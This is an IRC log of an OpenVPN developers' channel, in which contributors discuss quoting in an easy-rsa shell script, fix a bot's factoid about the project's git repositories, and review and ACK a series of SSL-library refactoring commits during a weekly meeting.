< novaflash> anyhow, i'm off again. just wanted to share that horrorstory so you can all have nightmares. 07:49 <@mattock> andj, dazo, cron2 et al: meeting today as usual? 07:49 <@dazo> mattock: I'll be aiming for that, 18:00 UTC is first possibility for me though 07:50 <@mattock> ok, I'll setup preliminary agenda if somebody is planning on joining :) 07:51 <@d12fk> i'll try to sneak in later if my patches are subject to discussion 07:51 < novaflash> dazo: interesting read; http://slashdot.org/story/11/01/05/2227225/Microsoft-Puts-Datacenter-In-a-Barn 07:51 <@vpnHelper> Title: Microsoft Puts Datacenter In a Barn - Slashdot (at slashdot.org) 07:51 <@dazo> mattock: but I'm thinking, to be able to have a less uber-hectic life, if we with time (say from next week) only have bi-weekly meetings ... my schedule is hefty this autumn 07:51 <+krzie> ill be here depending on how busy work is 07:51 <+krzie> speaking of which, time for me to go there, brb as krzee 07:52 <@mattock> dazo: well, we could have andj and jamesyonan move stuff forward on the polarssl front regardless 07:52 <@mattock> that has worked pretty well 07:52 <@dazo> definitely! 07:52 <@mattock> but bi-weekly meetings (not sprints) sound good to me 07:53 <@mattock> so, either sprint + meeting or just a sprint 07:53 <@dazo> ack! 07:53 <@dazo> that'll work for me 07:54 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:56 <@mattock> nice! 07:58 <@dazo> oh boy, I'm going to be disappointed tomorrow ... I have such a Friday feeling today .... 07:58 <+ecrist> dazo: i thought yesterday was friday 07:58 <+ecrist> then I thought, hey, at least it's thursday 07:58 <+ecrist> then I thought, I'm a dipshit 08:02 <@dazo> heh ... ecrist, that makes me feel better! ;-) 08:03 <@dazo> lol! Apple has lost another iPhone prototype :-P 08:04 * dazo wonders if this is some kind of marketing strategy 08:04 <@dazo> "You want what you can't have" syndrome 08:10 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-09-01 08:10 <@vpnHelper> Title: Topics-2011-09-01 – OpenVPN Community (at community.openvpn.net) 08:10 <@mattock> quite a few patches still lack an ACK 08:10 <@mattock> even if andj can't make it, we got things to discuss 08:10 <@dazo> mattock: d12fk promised to have a look at the "Details tab" patches 08:11 <@mattock> nice! 08:11 <@dazo> next weekish or so ... he also had been in contact with the guy submitting patches, in regards to the GUI ... and d12fk has confidence in the guy 08:12 <@mattock> ok, I'll mention that on the agenda so that we skip those 08:12 * dazo wonders if it is he himself who needs to draw the line and ACK the easy-rsa patch from mattock 08:13 <@mattock> do it, do it... :P 08:13 <@dazo> :) 08:13 <@dazo> okay, I'll do it in the evening .... been procrastinating real work a bit too long today 08:13 <@mattock> it's not a big deal I think, even in the worst case 08:13 <@mattock> I mean including the patch 08:13 <@dazo> yeah, that's my feeling as well 08:14 <@dazo> fruitful discussion, POSIX compatible shells just needs to be stated clearly in docs 08:15 <@mattock> stefan's last suggestion (test for shell) might be worthwhile... if we can test it easily without maintaining a database of non-compliant shells 08:15 <@mattock> not sure if that's doable 08:15 <@dazo> I'd say, lets see if solaris people scream or not 08:15 <@dazo> it's basically only them it will hit 08:15 <@mattock> in which case we can add such a test for them specifically 08:16 <@dazo> nah, that's a package thing in my eyes ... solaris got posix compliant shell ... the solaris packages can patch /bin/sh to /bin/ksh when the prepare the packages 08:17 <@dazo> what we could do, is to just ship a single patch which does all that magic .... ./contrib/solaris-posix-shell.patch 08:18 <@dazo> (or a simple script - solaris compat, which does some sed'ing directly) 08:21 <@dazo> mattock: you missed this patch: http://thread.gmane.org/gmane.network.openvpn.devel/4953 08:21 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 08:22 <+krzee> easy-rsa patch? link? 08:23 <@dazo> krzee: http://thread.gmane.org/gmane.network.openvpn.devel/4921/focus=4938 08:23 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 08:23 <+krzee> thanks 08:25 <@d12fk> mattock: i might be late for the meeting tonight so don't hold your breath 08:25 <@mattock> d12fk: ok, no problem, I won't :P 08:25 <+krzee> that wont work in the freebsd default shell 08:25 <+krzee> $() expansion doesnt work everywhere, although it is preferred when possible 08:26 <+krzee> %echo $(echo hi) 08:26 <+krzee> Illegal variable name. 08:27 <+krzee> however, the whitespace issue is unrelated to the command expansion 08:27 <+krzee> its the double quotes that fixed the problem 08:27 <+krzee> and you should be able to add the quotes around the var even inside `` expansion 08:28 <+krzee> KEY_CONFIG=`"$EASY_RSA"/whichopensslcnf "$EASY_RSA"` 08:28 <@mattock> is it difficult to flip the "to join this channel you need to be registered to freenode" switch temporarily? 08:28 <+krzee> give that a shot 08:28 <@mattock> e.g. for the duration of the meeting 08:28 <+krzee> ya, mode +r 08:29 <@mattock> the nice T-shirt lady _might_ attend the meeting, depending on her nerdiness level 08:30 <@mattock> but requiring freenode registration for that seems rather extreme 08:30 <+krzee> mattock, aka /mode #openvpn-devel +r 08:30 <@mattock> krzee: thanks! 08:31 <@mattock> if she attends, I'll flip the switch 08:31 <+krzee> np, what do ya think of my suggestion for your easy-rsa whitespace fix? 08:32 <@mattock> krzee: `` makes sense if *BSD default shells have issues with it 08:32 <@mattock> with $() that is 08:33 <+krzee> not only that either 08:33 <+krzee> its just the first i remember 08:33 <+krzee> i write lotsa shell scripts 08:33 <+krzee> $() is better, but not as portable 08:33 <+krzee> and unless nesting, not a big difference really (well it does change the order of expansion, but a moot point in this case) 08:34 <@mattock> dazo: in light of this, maybe ACK the patch but change $() to ``? 08:34 <@mattock> and add the documentation we discussed somewhere convenient (I can write it) 08:35 <+krzee> if theres anywhere else with unquoted vars, they should be fixed too 08:35 <+krzee> an unquoted var is an unhappy var 08:40 <+krzee> is the latest easy-rsa chillen in the 2.2.1 tgz or is there anything new to it? 08:40 <@dazo> mattock: if you can provide a new patch (ignore the change you already did) ... fix all unquoted vars and update some of the doc files, if there are any sensible ones (if not make a README.txt?) ... and we can ACK that one? 08:40 <+krzee> ill take a peek and see if theres other unhappy vars 08:40 <@mattock> dazo,krzee: sounds good 08:41 <@dazo> krzee: it's just minor fixes, afair 08:41 <+krzee> i may as well look at the one with the fixes, where shall i grab it from? 08:41 <+krzee> (i know i know... i should know the answer to that... but i dont ;) 08:47 <+krzee> oh and dont do what tanel said: a) export KEY_CONFIG="`"${EASY_RSA}"/whichopensslcnf "${EASY_RSA}"`" 08:47 <+krzee> that would not work 08:48 <+krzee> must lose the double quotes at the start and end 08:48 <+krzee> just =`...` 08:48 <+krzee> otherwise youd need to escape the inside "'s 08:59 <@mattock> the T-shirt offer is on the topic page 08:59 <@mattock> also informed the guys @company, just in case 09:04 <@mattock> I got to do some other stuff now, but I'll be back before the meeting 09:04 <@dazo> krzee: what do you want to grab? ... it's all in the git repo 09:04 <@dazo> (except mattock's patch) 09:11 <+krzee> easy-rsa 09:11 <+krzee> !git 09:11 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git,, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 09:12 <+krzee> any time a web link is in the end of a factoid, it breaks the links on some irc clients 09:12 <+krzee> a fyi when adding factoids 09:13 <@dazo> yeah, I know ... never cared enough to fix it ... as it just adds the trailing comma in Xchat and nothing else 09:13 <+krzee> xchat is really the only one? 09:13 <+krzee> hah 09:13 * krzee beats up xchat 09:35 <+ecrist> yeah, irssi and mac terminal handle commas just fine 09:36 <+ecrist> krzee: you could probably fix the regex in xchat that handles the URL parser and exclude trailing commas 09:36 <+ecrist> keep in mind, commas are a valid character in a url, though. 09:36 <+ecrist> iirc 09:37 <@dazo> comma is valid in URLs, so xchat does the right thing (tm), but it's annoying in our context 09:38 <+ecrist> alternatively, you could modify the factoids plugin to not insert a comma between factoids 09:40 <+krzee> or to add a space before the comma 09:40 <+ecrist> that would look stupid 09:40 <+krzee> ya i guess the comma is pointless 09:42 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 09:43 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:43 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:43 <+ecrist> !git 09:43 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git 09:43 <+ecrist> that better, krzee? 09:44 <+krzee> weird, i wonder why #2 still has one but 1 and 3 dont 09:45 <+ecrist> !learn git as testing one two three 09:45 <@vpnHelper> Joo got it. 09:45 <+ecrist> !git 09:45 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) testing one two three 09:45 <+ecrist> the comma is in the factoid itself, I think. 09:45 <+ecrist> ah, yeah 09:46 <@dazo> whoops :) 09:46 <+ecrist> there is double comma when it was mentioned above, when you asked for it krzee 09:46 <+ecrist> !forget git 5 09:46 <@vpnHelper> Joo got it. 09:46 <+ecrist> !git 09:46 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git 09:46 <+ecrist> !forget git * 09:46 <@vpnHelper> Joo got it. 09:46 <+ecrist> !learn git as For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git 09:46 <@vpnHelper> Joo got it. 09:47 <+ecrist> !learn git as For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git 09:47 <@vpnHelper> Joo got it. 09:47 <+ecrist> !learn git as Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi 09:47 <@vpnHelper> Joo got it. 09:47 <+ecrist> !learn git as See !git-doc how to use git 09:47 <@vpnHelper> Joo got it. 09:47 <+ecrist> !git 09:47 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git 09:47 <+ecrist> better, krzee? 09:55 <+krzee> <3 10:07 <+ecrist> get a better client. ;) 10:12 <+krzee> i never realized it was only xchat 10:19 <@andj> mattock: O'll be here, just no IRC at work today 10:20 <@andj> I'll be there even 10:20 <@andj> and you can count me in for next week as well 11:41 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 11:41 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 12:04 <@mattock> andj: great! 12:04 <@dazo> mattock: I will run a few minutes late probably, unfortunately 12:04 * dazo heads home now 12:11 <@mattock> hmm, for some reason Francis is opposed to donations and don't want to get involved in this ooshirts.com thing. Not sure why exactly, though... 12:13 <@dazo> mattock: tell him my wife will be disappointed, as she thinks I should get some new t-shirts ... anyhow, if this is one of his battles, let him have it 12:13 * dazo runs 12:14 <@mattock> yeah 12:15 <@mattock> james won't make it to the meeting today 12:15 <@dazo> dang! there's quite some win patches, I'd like him to poke at 12:16 * dazo really runs 12:16 <@mattock> you should :) 12:16 <+krzee> francis makes some interesting decisions at times 12:16 <+krzee> but they're his to make 12:16 -!- dazo is now known as dazo_afk 12:17 <@mattock> that's true... and I don't want to push him as it usually does not help 12:17 <@mattock> this was my fault also, I did not see this coming... I assume the sponsorship was ok for him 12:18 <@mattock> sorry about that 12:18 <+krzee> doesnt effect me 12:18 <@mattock> you would have got the T-shirt for sure :P 12:18 <+krzee> although ild be kinda likely to buy an openvpn shirt 12:24 <+ecrist> hi 12:25 < novaflash> i'll buy anything that makes me look like i know something about openvpn 12:26 < novaflash> even glasses so i can read the manual 12:28 <+ecrist> mattock: re: shirts and donations, let the community (me) handle that 12:28 <+ecrist> I just would need some logos and such 12:29 <@mattock> ecrist: wait a sec, I asked if Francis would pay for the shirts instead... I think the donation aspect is the problem 12:46 < novaflash> guys, i've found two little glitches on the community openvpn wiki - any chance one of you can fix it? 12:47 < novaflash> am waiting for a yes before i spout the information on the channel ;) 12:47 <@mattock> novaflash: do it 12:48 < novaflash> https://community.openvpn.net/openvpn/wiki/RelatedProjects <- under header "Windows client GUI" the link "included in the OpenVPN installer packages" is a 404. 12:48 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 12:49 < novaflash> on same page under header "Active projects - client GUI" the project called "Viscosity" is not only "GUI (OSX)" but also "GUI (Windows)". 12:49 <@mattock> ah yes, I'll fix that 12:49 < novaflash> that's about it for now. 12:50 <@mattock> thanks! 12:50 < novaflash> you're welcome. i'm good at coming up with things for others to do. glad i could help ;) 12:56 <+krzee> [10:28] <ecrist> mattock: re: shirts and donations, let the community (me) handle that 12:57 <+krzee> good thinking eric 12:57 <@cron2> +1 13:00 <@mattock> mkay, meeting time 13:00 <@andj> evening 13:01 <@mattock> ok, so james won't be attending, unfortunately 13:01 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-09-01 13:01 <@vpnHelper> Title: Topics-2011-09-01 – OpenVPN Community (at community.openvpn.net) 13:02 <@mattock> so, we got andj, cron2, ecrist and krzee present... anybody else atm? 13:02 < novaflash> /lurking 13:02 <@mattock> novaflash: that qualifies you as an attendee :P 13:03 < novaflash> ouch. this means i have to do something. 13:03 <@cron2> not much to contribute to todays topics... 13:03 <@mattock> cron2: even polarssl stuff? 13:03 -!- dazo_afk is now known as dazo 13:03 <@mattock> hi dazo! 13:03 <@cron2> especially not crypto or windows related 13:03 <@andj> hi dazo 13:04 <@cron2> wb dazo 13:04 <@dazo> hey! :) 13:04 <@mattock> so, which topics should we cover? there are bunch of PolarSSL refactoring patches 13:04 <@mattock> those should be relatively easy, right andj? 13:05 <@andj> I'm afraid I haven't got that much to contribute to the Windows stuff, but I'll wait out the discussion on that 13:05 <@andj> Yeah, think so 13:05 <@andj> the first one is slightly tougher I think 13:05 <@mattock> if it's too hairy, perhaps we can skip it? 13:05 <@mattock> tackle some easier ones 13:06 <@andj> not extremely difficult 13:06 <@andj> :) 13:06 -!- d12fk- [~heiko@exit0.net] has joined #openvpn-devel 13:06 -!- mode/#openvpn-devel [+o d12fk-] by ChanServ 13:06 <@andj> But windows stuff first? 13:06 <@andj> as that's less? 13:07 <@d12fk-> we should move the windows stuff to later 13:07 <@d12fk-> i'm here but not really 13:07 <@andj> ok, starting with the first polar patch then 13:07 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 13:07 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:07 <@andj> https://gist.github.com/1171353 13:07 <@vpnHelper> Title: andj's gist: 1171353 Gist (at gist.github.com) 13:08 <@andj> Basically move the cert reading code 13:12 <@dazo> andj: what about the code which is left in ssl.c ... around line 2000 13:12 <@andj> That's what I'm trying to figure out 13:13 <@andj> I think something might have gone missing here between version 2.1.4 and 2.3 13:13 <@dazo> I smell some conflicts when merging this into master though, as there has been some changes in ssl.c .... 13:13 <@andj> ok, let's skip this one 13:13 <@andj> and I'll look into it later 13:13 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/4431a8b7cf89500b81c9c62774ac75c1937297e3 13:13 <@vpnHelper> Title: Commit 4431a8b7cf89500b81c9c62774ac75c1937297e3 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:13 <@andj> is the next one 13:14 <@andj> with its gist 13:14 <@andj> https://gist.github.com/1171400 13:14 <@vpnHelper> Title: andj's gist: 1171400 Gist (at gist.github.com) 13:14 <@dazo> there's happened more stuff with the management parts in 2.2, much from james ... so need to be careful with that 13:14 <@andj> dazo: I'll work on a fix for that patch later, it seems I missed some management stuff there during the rebase 13:15 <@andj> onward to 4431a8b7cf8 :) 13:15 <@dazo> looking :) 13:17 <@dazo> ACK 13:17 <@andj> cool 13:17 <@andj> ah, https://github.com/andj/openvpn-ssl-refactoring/commit/2a5f084332fc7a619107513b17b2f4a3dc0c31b2 13:17 <@vpnHelper> Title: Commit 2a5f084332fc7a619107513b17b2f4a3dc0c31b2 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:17 <@andj> might be the missing external stuff 13:18 <@andj> https://gist.github.com/1171413 is the accompanying gist 13:18 <@vpnHelper> Title: andj's gist: 1171413 Gist (at gist.github.com) 13:20 <@dazo> andj: what happens with the stuff round line 70? 13:20 <@dazo> (in the gist) 13:21 <@andj> let me check in the final code 13:22 <@mattock> I'm already a bit confused about the ACKs... could you verify the current situation: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration?version=46#SSLlibraryseparation 13:22 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 13:22 <@andj> That's right 13:23 <@mattock> ok 13:23 <@andj> I'll look into this patch later as well 13:23 <@dazo> goodie! 13:24 <@andj> I suspect it's ok, but it'll take too long to look at now 13:24 <@andj> next one: https://gist.github.com/1171425 13:24 <@vpnHelper> Title: andj's gist: 1171425 Gist (at gist.github.com) 13:24 <@andj> oops 13:24 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/b5ceb7049dd57ac8e7fa05d542c479382a4ed1ed 13:24 <@vpnHelper> Title: Commit b5ceb7049dd57ac8e7fa05d542c479382a4ed1ed to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:24 <@andj> that's the actual commit 13:26 <@dazo> anyone understand the purpose of xname_cmp()? 13:27 <@dazo> (just a thought, not related to the real review) 13:27 <@andj> no ide why it's there, if that's what you mean 13:27 <@andj> *idea 13:27 <@dazo> it lookse like a simple function rename ... 13:28 <@andj> sk_X509_NAME_new(xname_cmp); 13:28 <@andj> probably a slightly different signature required 13:28 <@andj> so just an adapter 13:28 <@dazo> could be 13:31 <@dazo> looks good, but I see the patch is mixing tabs and spaces towards the end 13:31 <@andj> anyway, it's a pretty straightforward copy 13:31 <@andj> where? 13:31 <@dazo> it is really obvious around line 800+ 13:32 <@dazo> the msg() calls are out of line 13:32 <@andj> isn't that just github? 13:32 <@andj> 8 spaces = 1 tab 13:32 <@andj> and github decided 2 spaces = 1 tab 13:33 <@dazo> doubt it ... if you enable colours in git, and show the patch there, you might see a lot of red fields (haven't checked on this patch yet) 13:33 <@andj> hmm, it looks ok in my editor 13:33 <@andj> but that's not saying that much 13:34 <@dazo> + if (!PEM_read_bio_X509 (bio, &cert, 0, NULL)) /* takes ownership of cert */ 13:34 <@dazo> + break; 13:34 <@dazo> + if (!cert) 13:34 <@dazo> + msg (M_SSLERR, "Error reading extra-certs certificate"); 13:34 <@dazo> + if (SSL_CTX_add_extra_chain_cert(ctx->ctx, cert) != 1) 13:34 <@dazo> + msg (M_SSLERR, "Error adding extra-certs certificate"); 13:34 <@dazo> that's raw from my terminal ... no colour flashing, though ... but here msg() is one too little 13:35 <@dazo> https://gist.github.com/1171425 ... here it is also visible that the code shifts lefts some places 13:35 <@vpnHelper> Title: andj's gist: 1171425 Gist (at gist.github.com) 13:36 * dazo don't like mixed tab/spaces 13:36 <@andj> my editor says: 13:36 <@andj> <6spaces>if (!PEM_read_bio_X509 (bio, &cert, 0, NULL)) /* takes ownership of cert */ 13:36 <@andj> <1tab>break; 13:36 <@andj> is that wrong? 13:36 <@dazo> yeah, it should then be either <6spaces> and then <8spaces> ... or <1tab> and then <2tabs> 13:37 <@dazo> but follow what looks like the standard in that file ... if it is a complete mess (which is not unlikely), make sure each function block you change is consistent 13:37 <@andj> I thought the standard was 2 character space tabs 13:37 <@andj> and for every 8 spaces take a tab 13:37 <@d12fk-> sadly openvpn uses gnu style 13:37 <@andj> (that's what I found everywhere) 13:38 <@andj> so that's what I applied 13:38 <@cron2> so did i.... 13:38 <@dazo> well, the issue is that the tab character is saved, not the spaces ... which is why it shifts 13:38 <@andj> so that's why you'll find that :) 13:38 <@andj> yeah, but that's just github 13:38 <@andj> not the actual code :) 13:38 <@dazo> because tabs are not necessarily defined to the same width in all editors 13:38 <@d12fk-> http://en.wikipedia.org/wiki/Indent_style#GNU_style 13:38 <@vpnHelper> Title: Indent style - Wikipedia, the free encyclopedia (at en.wikipedia.org) 13:39 <@dazo> (which is why I prefer spaces instead of tabs ... no such mess) 13:39 <@andj> I'm a bit of a pythonista at times 13:39 <@d12fk-> good editors have a .kateconfig =) 13:39 <@andj> and from that I haaattte tabs 13:39 <@dazo> :) 13:39 <@andj> but that's just personal, stuck to what I thought was the standard here 13:39 <@andj> anyway, let's just say I stuck to GNU style for all of the code 13:40 <@dazo> andj: I would not mind if you change those tabs to spaces, and that it fits the structure .... and over time, we'll go completely over to spaces only 13:40 <@andj> is the patch ok otherwise? 13:40 <@andj> dazo: will do in the future, but changing it now might be rather painful 13:40 <@dazo> yeah, I couldn't see I saw anything else 13:41 <@d12fk-> what i find worse than gnu style is no style 13:41 <@dazo> yeah, it can be painful to redo patches 13:41 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/bde5b4f18e82437cdd6ca93cdc6fb78bfedc924b 13:41 <@dazo> d12fk-: :) 13:41 <@vpnHelper> Title: Commit bde5b4f18e82437cdd6ca93cdc6fb78bfedc924b to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:41 <@andj> hmm, I'll get rid of the Fox-IT hardening line there 13:41 <@andj> that got left over from a different hardening patch :) 13:42 <@mattock> did b5ceb get an ACK? 13:43 <@andj> dazo? 13:43 <@andj> I think so, not sure 13:43 <@dazo> mattock: functional ACK, but I'd like the code style to be cleaned up ... if a separate patch, that's fine now 13:43 <@mattock> ok 13:43 <@andj> dazo: if you want a style clean-up I'll do it in one patch 13:44 <@andj> so we can debate that patch, and not the functional stuff 13:44 <@cron2> +1 13:44 <@dazo> good deal! maybe we have some more coding style things along the road as well then, on things we see in these patches 13:44 <@dazo> (not the complete code) 13:44 <@d12fk-> how far advanced are you with the polar stuff? 13:45 <@dazo> bde5b4f18e82437cd ACK when the Fox-IT line disappears 13:45 <@d12fk-> will it make sense to stick around without james in here anyway? 13:45 * dazo will get dinner served in 15 min 13:46 <@dazo> d12fk-: we probably won't good chances to look at your windows stuff today, without james ... I want him to look at that, as he is the experienced one who can review this 13:46 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/8e6d02204736f36e5f94ab539fcbcf5f5766f060 13:46 <@vpnHelper> Title: Commit 8e6d02204736f36e5f94ab539fcbcf5f5766f060 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:46 <@andj> Fox-IT tag 13:47 <@dazo> ACK 13:47 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/899913d235502a2a6bd754e368bbe5a782a83911 13:47 <@vpnHelper> Title: Commit 899913d235502a2a6bd754e368bbe5a782a83911 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:47 <@andj> is the next one 13:47 <@d12fk-> dazo: ok let's do this another time then 13:47 <@andj> https://gist.github.com/1171454 13:47 <@vpnHelper> Title: andj's gist: 1171454 Gist (at gist.github.com) 13:48 <@andj> That one just moves the BIO code 13:48 <@andj> into an openssl-specific bit 13:48 <@andj> as BIOs are openssl-specific 13:50 <@dazo> do you have gist view as well? 13:50 <@andj> see above :) 13:50 * dazo 's head begins to get really slow now 13:50 <@dazo> duh! 13:50 <@d12fk-> dinner in 10 will fix that =) 13:50 <@dazo> yeah :) 13:50 <@andj> :) 13:51 <@andj> give me a chance to look at the two weird patches 13:52 <@dazo> I'm sorry, my head is not able to understand what it looks at ... I see the code, looks sensible, but somehow I get a div by zero in my head 13:53 * dazo feels he shouldn't push it much more today ... very sorry about that 13:53 <@andj> that's fine, we'll continue next week :) 13:53 <@dazo> if cron2 is around and have time, maybe he could continue 13:54 <@dazo> (no pressure though) 13:54 <@mattock> good news: Francis promised to pay for the shirts 13:55 <@mattock> so, it was all about the donation aspect 13:55 <@mattock> I'll discuss details such as prices & delivery with Colleen (the lady who contacted) 13:55 <@mattock> contact me 13:56 <@andj> cron2, up for a few of the simpler patches? 13:59 <@mattock> yeah, getting a few more tackled would be nice 14:06 <@mattock> novaflash: fixed the issues on https://community.openvpn.net/openvpn/wiki/RelatedProjects 14:06 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 14:06 <@mattock> cron2: still there? or shall we call this a day? 14:06 <@cron2> dazo: do we have simple ones? 14:06 <@mattock> ah, hello! :P 14:06 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/360ff2980be50a6d2d8dececa1854807da4a7a1c 14:06 <@vpnHelper> Title: Commit 360ff2980be50a6d2d8dececa1854807da4a7a1c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:06 <@andj> :) 14:07 <@cron2> mmmh, github.com has no IPv6 14:07 <@andj> to give an example of a simple one 14:07 <@cron2> now that one is simple, but why is it done? 14:07 <@andj> to ensure a consistent ordering in the file 14:08 <@cron2> cosmetics, eh? but anyway, I'm all for orderly structure, so ACK 14:08 <@d12fk-> cron2: stackenblochen? 14:09 <@cron2> hä? 14:09 <@d12fk-> cron2: http://www.youtube.com/watch?v=zqAdxN1IWQQ 14:09 <@vpnHelper> Title: Stackenblochen - YouTube (at www.youtube.com) 14:10 <@andj> lol 14:10 <@cron2> omg 14:10 <@andj> cdo, it's like ocd, but in alphabetical order 14:10 <@andj> like it should be 14:11 <@cron2> anyway, ACK on this one, next :-) 14:11 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/1f09fbe7a54779a6b359c139400c71cbb53f5ac9 14:11 <@vpnHelper> Title: Commit 1f09fbe7a54779a6b359c139400c71cbb53f5ac9 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:11 <@andj> straightforward file move 14:12 <@andj> note that it got moved into its own function 14:13 <@cron2> ack 14:13 <@andj> same story: https://github.com/andj/openvpn-ssl-refactoring/commit/7172f01eee7aa5c78af77f560ab8c5a25666614d 14:13 <@vpnHelper> Title: Commit 7172f01eee7aa5c78af77f560ab8c5a25666614d to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:14 <@andj> gist shows no changes 14:14 <@andj> https://gist.github.com/1171477 14:14 <@vpnHelper> Title: andj's gist: 1171477 Gist (at gist.github.com) 14:15 <@cron2> gist better should show some changes, as the data type changed :) 14:15 <@andj> well slightly :) 14:16 <@cron2> but yeah, these are somewhat logical, and the rest is indeed just moved 14:16 <@cron2> ack 14:16 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/d1fa6f792b65f38acbe0728387a1f9b214e2be00 14:16 <@vpnHelper> Title: Commit d1fa6f792b65f38acbe0728387a1f9b214e2be00 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:16 <@andj> that one has such a short gist 14:16 <@andj> that it's in the comments 14:16 <@andj> below 14:17 <@cron2> a new blank line sneaked in!!! 14:18 <@cron2> (but I like blank lines for structure!) 14:18 <@cron2> ACK 14:18 <@andj> :) 14:18 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/0c332998f43510afed692febadf1a03dcee57ee9 14:18 <@vpnHelper> Title: Commit 0c332998f43510afed692febadf1a03dcee57ee9 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:18 <@andj> you'll love that one :) 14:19 <@cron2> moar blank lines? *looking* 14:19 <@andj> but maybe we should leave it for the general white space round 14:19 <@cron2> heh, that's more for dazo to like :-) 14:19 <@cron2> looks good to me, ACK (even if it's just white space) 14:20 <@andj> ok, https://github.com/andj/openvpn-ssl-refactoring/commit/be3d6f97f7596c91fae5e656854dbfed6de80ec6 14:20 <@vpnHelper> Title: Commit be3d6f97f7596c91fae5e656854dbfed6de80ec6 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:20 <@andj> is just doxygen moving around 14:20 <@andj> https://gist.github.com/1140033 14:20 <@vpnHelper> Title: andj's gist: 1140033 Gist (at gist.github.com) 14:20 <@andj> for the gist 14:21 <@cron2> huh, there were some duplicate prototypes before the patch? 14:21 <@andj> yeah, mostly due to moves in earlier patches 14:21 <@andj> this is basically cleanup 14:23 <@cron2> there's no code changes, and the doxygen just moves around (can't say which effects that has), so ACK 14:23 <@cron2> ok, last one for today now... 14:23 <@andj> ok, that's the last of the ssl verification patches that are simple 14:24 <@andj> there's a few minor bugfixes further on, but those are better for later 14:24 <@cron2> let's do those next time, then 14:24 * cron2 <- tired 14:24 <@andj> indeed 14:24 <@andj> thanks everyone 14:24 <@mattock> thanks guys! 14:24 <@andj> I'm going to go have a look at the two weird patches from earlier 14:24 <+krzee> </lurk> 14:25 <@mattock> final status here: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration?version=54#SSLlibraryseparation 14:25 < novaflash> hey.. that was my line... 14:25 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 14:25 <@mattock> check if you can 14:25 <@mattock> pretty nice progress again! 14:26 < novaflash> hm. i thought you were all going to throw programming lines around and argue heatedly about which subroutine is the best. i have the wrong impression of this sort of thing, obviously :) 14:27 <@andj> most of this stuff is pretty straightforward refactoring 14:27 <@andj> but it's critical that no bugs sneak in on the way 14:27 <@cron2> novaflash: sometimes we do. Sometimes we just hang around and do 